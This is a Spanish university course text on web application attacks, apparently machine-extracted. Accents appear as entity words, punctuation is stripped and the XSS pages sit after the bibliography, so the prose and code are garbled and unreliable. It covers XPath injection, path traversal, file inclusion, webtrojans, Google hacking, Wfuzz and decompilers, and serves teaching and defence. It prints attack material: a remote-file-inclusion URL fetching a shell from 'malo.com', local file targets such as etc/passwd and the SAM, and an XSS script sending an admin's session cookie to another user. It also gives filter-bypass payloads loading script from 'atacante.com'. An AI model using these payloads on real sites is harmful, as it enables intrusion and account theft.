mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya
extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable
que si tienen la misma longitud tengan el mismo nombre
En la siguiente imagen se muestra una herramienta en funcionamiento una
vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable
Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada
232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de
la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un
filtrado de las entradas teniendo en cuenta dos factores
bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor
introducido en la entrada es un valor numeacuterico y no una cadena de texto
bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-
lla simple y doble por rsquo y rdquo
CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web
3 Ataques de Path Transversal
Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-
formacioacuten referente al servidor desde simplemente el directorio donde
se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del
servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos
por separado
La informacioacuten obtenida puede ser usada por un atacante para lograr acceder
a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-
ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder
a ellos
Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo
coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen
unos de los otros y realmente estaacuten muy relacionados entre siacute
31 Path Disclosure
Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en
cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-
ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a
un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-
mente
El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-
cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)
que contengan rutas a ficheros Esto lo lograremos introduciendo carac-
teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan
Figura 42 Fallo de Path Disclosure
CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web
Este mensaje de error puede darse al intentar reproducir cualquiera de los de-
maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-
macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten
un mensaje de error predefinido que usualmente contiene la ruta del fichero
afectado
Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-
nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es
buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-
tren nunca al usuario
CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web
4 Ataques de inyeccioacuten de ficheros
41 Remote file inclusion
Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo
remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al
igual que es posible cargar un fichero local para su inclusioacuten dentro de la
paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso
Esto es posible en lenguajes interpretados donde podemos incluir un fichero
con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como
base una paacutegina programada en PHP
httpwwwmipaginacommostrarphppag=indexphp
PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos
para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo
anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP
que permiten la inclusioacuten dinaacutemica de ficheros
bull include($pag)
bull require($pag)
bull include_once($pag)
bull require_once($pag)
Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-
dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-
temente controlada podremos hacer una llamada a un fichero externo que se
descargaraacute e interpretaraacute en el lado del servidor
httpwwwmipaginacommostrarphppag=httpmalocomshelltxt
En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el
fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en
mipaginacom
Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la
inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-
bicioacuten total de realizar estas acciones
CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web
Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos
buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc
php5phpini) y establecer la clave de configuracioacuten allow_url_include
a false
Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-
quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva
Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-
cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una
completa shell equipada con su propio explorador de ficheros opciones pa-
ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en
el equipo remoto
Figura 43 Shell remota ejecutaacutendose
Existe una gran variedad de shells remotas que podemos encontrar en Internet
Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen
otras como la r57 o c100 De todas maneras siempre podemos programarnos
una propia con la funcionalidad que necesitemos
42 Local file inclusion
Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-
pilados como interpretados Se basa en la posibilidad de incluir dentro de la
paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-
ciones web que tenga permisos de lectura
Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele
ser maacutes comuacuten en dos sitios bien diferenciados
bull Paacuteginas de plantillas carga un fichero desde otro y le da formato
CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web
bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a
descargar y lo enviacutea al cliente
El concepto tras ambos fallos es el mismo y las implementaciones defectuo-
sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera
satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-
ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior
usando los caracteres en sistemas Linux o en sistemas Windows maacutes
el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-
pechamos que la siguiente URL tiene un fallo de local file inclusion
httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp
Entonces para corroborarlo y determinar que efectivamente nos encontramos
frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que
quedase como sigue
httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp
Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-
nerable a local file inclusion
Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el
concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten
web y empezar a incluir ficheros del propio sistema operativo Esto nos per-
mitiraacute obtener maacutes informacioacuten sobre el equipo
Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path
Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican
estos De todas maneras y si no sabemos la ruta relativa de un fichero frente
a la paacutegina vulnerable podemos usar las rutas directas4
Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica
dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-
tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros
como muestra de la informacioacuten que podemos llegar a obtener
bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-
pendio de los usuarios existentes asiacute como datos relativos a ellos como
nombre o directorio del home
bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele
contener una lista de nombre e IPS internos que nos permiten obtener una
mejor idea de la estructura interna de una organizacioacuten
bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres
de usuarios y claves de los usuarios de un sistema Windows En la carpeta
(4)Una ruta directa es la que inclu-ye todo el nombre del fichero
CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web
Repair se almacena una copia del fichero SAM para poder recuperarla en
caso de error del sistema
bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero
vulnerable mediante el fallo de local file inclusion para poder aprender de
los problemas de otros
Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en
montar el servidor con el miacutenimo privilegio posible limitando la posibilidad
de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-
gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios
de la aplicacioacuten
Figura 44 Ejemplo de local file inclusion
Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-
larlo mediante permisos en el servidor hay que tener en cuenta que las rutas
a ficheros se pueden escribir de dos maneras
bull Directa Escribimos la ruta donde se encuentra el fichero directamente
Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados
por los usuarios
bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores
mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes
de lo anterior los puntos
43 Webtrojans
Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente
complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos
en PDF ficheros de viacutedeo etc
Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos
enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un
fichero con una imagen es necesario comprobar que lo que recibimos es real-
mente una imagen y no otro tipo de fichero
CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web
Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando
en nuestro servidor un fichero malintencionado conocido como webtrojan5
Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-
quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen
desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo
dentro de otros ficheros
El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras
una cabecera de una imagen donde algunos servidores son capaces de ejecutar
el coacutedigo
Figura 45 Webtrojan oculto dentro de un fichero GIF
En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor
de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para
subir cualquier tipo de fichero
Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-
tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo
que nosotros hemos permitido Una buena praacutectica es la de establecer noso-
tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben
evitando que alguien pueda subir un fichero y establecerlo con extensiones
como ASP o PHP
(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad
CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web
5 Google Hacking
Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas
privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea
accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general
los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus
propietarios saben que se encuentra ahiacute
Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la
informacioacuten que nos interesa es muy importante permitieacutendonos recopilar
mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio
ninguna peticioacuten al servidor en cuestioacuten
Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-
mos realizar y que combinados unos con otros alcanzan una potencia mucho
mayor
bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia
obligatoria de esta palabra en las paacuteginas devueltas
bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye
todos los resultados que contengan esa palabra
bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas
completas de texto dentro de los resultados
bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-
quier palabra dentro de una frase entrecomillada
bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina
bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina
bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas
bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-
cada
bull domainltdominiogt Limita los resultados al dominio especificado Se
puede usar solo el identificador del paiacutes (como es)
Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier
cosa que esteacute en Internet
CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web
Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo
Google Hacking Database es una base de datos de buacutesquedas de corroborada
eficacia que permite obtener datos interesantes referentes a ficheros de confi-
guracioacuten zonas privadas dispositivos conectados a la red software vulnera-
ble etc
Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos
de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar
subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a
realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas
Para empezar se selecciona un dominio en este caso se ha elegido el dominio
uoces y se ejecuta la siguiente buacutesqueda
siteuocedu
Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-
nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-
dos
El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-
tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo
-www siteuoces
Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de
paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar
una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea
la siguiente
-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning
-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept
-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia
CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web
-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv
-www -biblio siteuoces
Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten
momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces
por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-
cioacuten sobre nuestro dominio
Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver
todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf
etc
Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad
de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas
locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten
un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-
tar sacar las contrasentildeas
CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web
6 Seguridad por ocultacioacuten
Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la
puerta de una casa para que dado el caso podamos entrar si hemos perdido
nuestra llave Evidentemente esto no es nada seguro pues cualquier persona
que la encuentre podraacute acceder al igual que nosotros a nuestra casa
Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web
Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-
vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida
de ficheros temporales Algunas de las maacutes comunes son
bull admin
bull logs
bull uploads
bull phpmyadmin
bull tmp
Estos directorios se pueden descubrir mediante pruebas manuales o haciendo
uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros
En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con
nombres conocidos
Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-
tituyendo en la zona de la URL que nosotros especifiquemos una cadena de
texto que va cogiendo liacutenea tras liacutenea de un fichero de texto
Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-
tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta
Vamos a aprender a usarla pues la sintaxis es simple
wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ
La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va
a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la
hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros
estaremos indicaacutendole al programa que
bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-
tas que vamos a buscar se van a coger desde un fichero de texto
(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas
CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web
bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado
el fichero commontxt que acompantildea al programa y que contiene una lista
de los nombres maacutes comunes de directorios ocultos
bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del
programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha
usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo
HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y
palabras (--hw) que contiene una paacutegina por si nos encontramos con un
servidor que devuelva siempre una paacutegina con coacutedigo 200
bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-
raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-
chero especificado
Figura 47 Resultado de la ejecucioacuten del programa Wfuzz
En la imagen anterior apreciamos coacutemo el programa ha detectado una serie
de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo
y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de
seguridad
Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la
buacutesqueda del fichero robotstxt Este fichero es usado por los administradores
de sitios web para evitar que Google y otros buscadores indexen zonas que
no desean
CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web
Figura 48 Ejemplo de fichero robotstxt
El problema es que mucha gente no entiende completamente el concepto de
este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen
aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-
res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos
encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-
nistrativas de pruebas privadas
Otro fichero que puede darnos mucha informacioacuten y que al contrario de
los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero
sitemapxml es un fichero propuesto por Google como una manera de indi-
carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y
cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos
descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital
importancia pues nos ahorra tiempo en navegar por el sitio y con una sola
peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten
se muestra un ejemplo de un fichero sitemapxml
ltxml version=10 encoding=UTF-8gt
lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt
lturlgt
ltlocgthttpwwwacomltlocgt
ltlastmodgt2005-01-01ltlastmodgt
ltchangefreqgtmonthlyltchangefreqgt
ltprioritygt08ltprioritygt
lturlgt
lturlgt
ltlocgthttpwwwacomnewsltlocgt
ltchangefreqgtweeklyltchangefreqgt
lturlgt
lturlgt
ltlocgthttpwwwacomarchiveltlocgt
ltlastmodgt2004-12-23ltlastmodgt
changefreqgtweeklyltchangefreqgt
CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web
lturlgt
lturlgt ltlocgthttpwwwacomfaqltlocgt
ltlastmodgt2004-12-23T180015+0000ltlastmodgt
ltprioritygt03ltprioritygt
lturlgt
lturlgt ltlocgthttpwwwacomaboutltlocgt
ltlastmodgt2004-11-23ltlastmodgt
lturlgt
lturlsetgt
61 Descompiladores de applets web
611 Flash
Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una
interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas
que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-
sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-
cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo
aunque a veces ocurre
Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente
han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros
proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de
coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos
se pueden observar faacutecilmente usando un sniffer del protocolo HTTP
Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio
en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver
el coacutedigo fuente del fichero Flash
CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web
Figura 49 Captura del fichero mp3 reproducido desde unreproductor web
Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando
lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo
actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-
samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-
donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un
fichero Flash
Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar
coacutemo realizar esto mediante el programa Flasm de descarga gratuita
La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-
lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-
rigir hacia un fichero de texto la salida del programa En este ejemplo vamos
a realizar la accioacuten con un pequentildeo juego Flash
Figura 50 Ejecucioacuten del comando flasmexe
Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra
extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador
(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf
CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web
Figura 51 Volcado del coacutedigo del fichero swf
Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo
funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las
URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten
Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los
fallos de seguridad comentados en capiacutetulos anteriores
612 Java
Al igual que con los ficheros Flash aunque con menos popularidad en la ac-
tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-
cutan dentro de nuestro navegador
Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo
en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene
muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto
tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-
mos en Flash
Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos
muestran el coacutedigo Java original En la captura siguiente el programa usado
es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-
ciones
CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web
Figura 52 Pantalla principal del Java Decompiler
613 NET
Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones
ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar
maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-
dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-
do NET que se carga desde el servidor mediante un plugin en nuestro navega-
dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de
la aplicacioacuten Silverlight
Figura 53 Aplicacioacuten de muestra de Silverlight
CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web
En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple
Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute
programada para que compruebe los datos introducidos con unos datos que
estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y
vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea
vaacutelidos El detalle de coacutedigo Javascript seriacutea
Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo
HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero
contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-
vegador interprete
El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del
programa Estos ficheros son compilados de NET y pueden ser analizados me-
diante programas como NET Reflector Los ficheros contenidos en este fiche-
ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor
pues realmente es un fichero ZIP
Figura 54ndash Fichero xap descomprimido
Una vez descomprimido se nos muestran una serie de archivos Estos archivos
contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero
realmente los datos importantes se encuentran en el fichero Test001dll (en el
ejemplo actual) Este fichero puede ser descompilado mediante el programa
indicado anteriormente y acceder al coacutedigo fuente interno En este caso se
observan dos clases principales App y MainPage
CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web
Figura 55 Detalle del programa descompilado
En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-
do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten
de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el
nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo
Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera
forma de poner un contenido de una manera maacutes vistosa para el usuario Sin
embargo a veces los desarrolladores web lo usan como un lenguaje de progra-
macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro
CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web
Bibliografiacutea
Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox
Clarke J (2009) SQL Injection Attacks and defense E Syngress
Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress
Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media
Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley
CC-BY-NC-ND bull PID_00191662 17 Ataques a aplicaciones web
else
x=new ActiveXObject (MicrosoftXMLHTTP)
xopen(POSTfuncsendphptrue)
xsetRequestHeader(Content-Type applicationx-www-form-urlencoded)
xsetRequestHeader(Content-Lengthdlength)
xsend(d)
ltscriptgt
iexclQue pagina mas chulaltpgtltdivgt
ltdivgt
ltbodygt
Este coacutedigo ha sido interpretado por el navegador del usuario admin y auto-
maacuteticamente se ha enviado un mensaje al usuario eviluser con la cookie de
sesioacuten
Figura 5 Mensaje recibido por el usuario eviluser
Con esta informacioacuten en su poder el usuario eviluser puede proceder a modi-
ficar el valor de su cookie con el valor recibido De este modo cuando su nave-
gador lo enviacutea al servidor este responde con las paacuteginas correspondientes al
usuario admin
Esta demostracioacuten es un claro ejemplo del potencial que puede llegar a impli-
car un ataque basado en XSS Como se ha visto sin conocer la contrasentildea del
administrador de un sitio web hemos logrado acceder a su cuenta
114 Filtros XSS
En la gran mayoriacutea de las ocasiones no seraacute posible escribir coacutedigo Javascript
directamente como se ha realizado en el ejemplo anterior Habitualmente los
programadores habraacuten establecido una serie de reglas para intentar evitar los
fallos XSS Sin embargo habitualmente los filtros utilizados son implementa-
ciones parciales de lo que deberiacutea ser un filtro antiXSS completo y esto nos
permite introducir nuestro coacutedigo Javascript salvando las dificultades adicio-
nales que se presenten
CC-BY-NC-ND bull PID_00191662 18 Ataques a aplicaciones web
Vamos a plantear una serie de medidasdeproteccioacuten que podemos encon-
trarnos y coacutemo pasar las limitaciones impuestas por estas Esto nos serviraacute para
entender coacutemo piensa un atacante a la hora de introducir coacutedigo XSS y mejo-
rar de este modo nuestras posibles implementaciones de filtros antiXSS
bull Cuandointroducimosloscaractereslsquooldquosecambianporrsquoordquo Esta
teacutecnica es conocida como ldquoescapar los caracteresrdquo y es uacutetil frente a inyec-
ciones SQL aunque no lo es frente a ataques XSS Cuando intentamos ce-
rrar una etiqueta HTML como vimos anteriormente y nos encontramos
con que se estaacuten escapando nuestras comillas pueden darse dos situacio-
nes ambas salvables por parte del atacante La etiqueta queda cerrada co-
mo rsquo o rdquo algo que en HTML es totalmente vaacutelido por lo que podemos
seguir introduciendo coacutedigo Javascript
ltinput type=text name=q value= gt
ltscriptgtalert(documentcookie)ltscriptgt
Es imposible establecer la cadena ldquoiexclHola Mundordquo al no poder escri-
bir correctamente las comillas Son varios los meacutetodos que se pue-
den usar en estos casos Por ejemplo podemos utilizar la funcioacuten
StringfromCharCode() que recibe una lista de coacutedigos ASCII y genera una
cadena
StringfromCharCode(72 111 108 97 32 77 117 110 100 111 33)
Tambieacuten es posible establecer referencias a ficheros Javascript externos
donde podremos usar todos los caracteres que deseemos sin preocuparnos
por ninguacuten tipo de filtro
ltscript src=httpwwwatacantecomxssjsgtltscriptgt
bull ElcoacutedigointroducidonopuedesersuperioraXcaracteres Una limi-
tacioacuten tiacutepica es encontrarnos que no podemos escribir maacutes de un nuacutemero
determinado de caracteres Esta limitacioacuten se puede solventar de nuevo
de dos maneras
ndash Si son varias las variables donde es posible introducir coacutedigo Javascript
podemos usar la suma de los caracteres correspondientes a cada una de
ellas para ampliar el nuacutemero de caracteres disponibles Esto se realiza-
riacutea mediante los caracteres de comentarios multiliacutenea de Javascript
al inicio y al final
ndash Si estamos limitados al tamantildeo un solo campo es posible utilizar un
fichero externo para cargar todo el coacutedigo Javascript necesario Para
reducir la longitud de la direccioacuten URL podemos usar paacuteginas del estilo
tinyurlcom o isgd Asiacute por ejemplo la URL httpwwwvictimacom
xssjs queda traducida a httpisgdowYT
CC-BY-NC-ND bull PID_00191662 19 Ataques a aplicaciones web
ltscript src=httpisgdowYTgtltscriptgt
bull Nopodemosintroducirlacadenascriptonosenospermiteintroducir
loscaracteresdemayorque(gt)ymenorque(lt) Aunque inicialmen-
te podriacutean parecer dos casos distintos al final pueden ser resueltos de la
misma manera Las etiquetas HTML tienen eventos que pueden lanzarse al
ocurrir ciertos sucesos OnLoad cuando se carga el elemento OnMouseO-
